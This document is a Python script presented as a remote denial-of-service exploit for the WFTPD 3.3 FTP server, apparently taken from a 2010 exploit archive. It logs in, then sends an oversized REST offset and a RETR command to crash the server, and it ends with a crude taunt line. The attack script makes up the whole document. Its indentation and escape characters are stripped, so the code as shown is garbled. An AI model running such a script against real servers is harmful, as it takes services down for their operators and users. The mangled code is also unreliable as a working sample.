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# WFTPD 3.3 unhandled exception
#
# (x)dmnt 2010
# -*- coding: windows-1252 -*-

import socket
import sys, time


def help_info():
print ("Usage: wftpdkill <host> <login>
<password> <existingfle>n")

def dos_it(hostname, username, passwd, exfile):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("[-] Connection error!")
sys.exit(1)
r=sock.recv(2048)
print "[+] Connected"
sock.send("user %srn" %username)
r=sock.recv(1024)
time.sleep(3)
sock.send("pass %srn" %passwd)
r=sock.recv(1024)
print "Send evil commands"
time.sleep(3)
sock.send("pasvrn")
r=sock.recv(1024)
time.sleep(3)
sock.send("rest
999999999999999999999999999999999999999999999999999999999999999999rn")

r=sock.recv(1024)
time.sleep(3)
sock.send("retr %srn" %exfile)
time.sleep(3)
sock.send("Burn, muthfcka, burn!rn")
sock.close()
print "Server killedrn"

print ("nWFTPD 3.3 remote DoS exploit")

if len(sys.argv) < 5:
help_info()
sys.exit(1)

else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
exfile=sys.argv[4]
dos_it(hostname,username,passwd,exfile)
sys.exit(0)

  References :  

None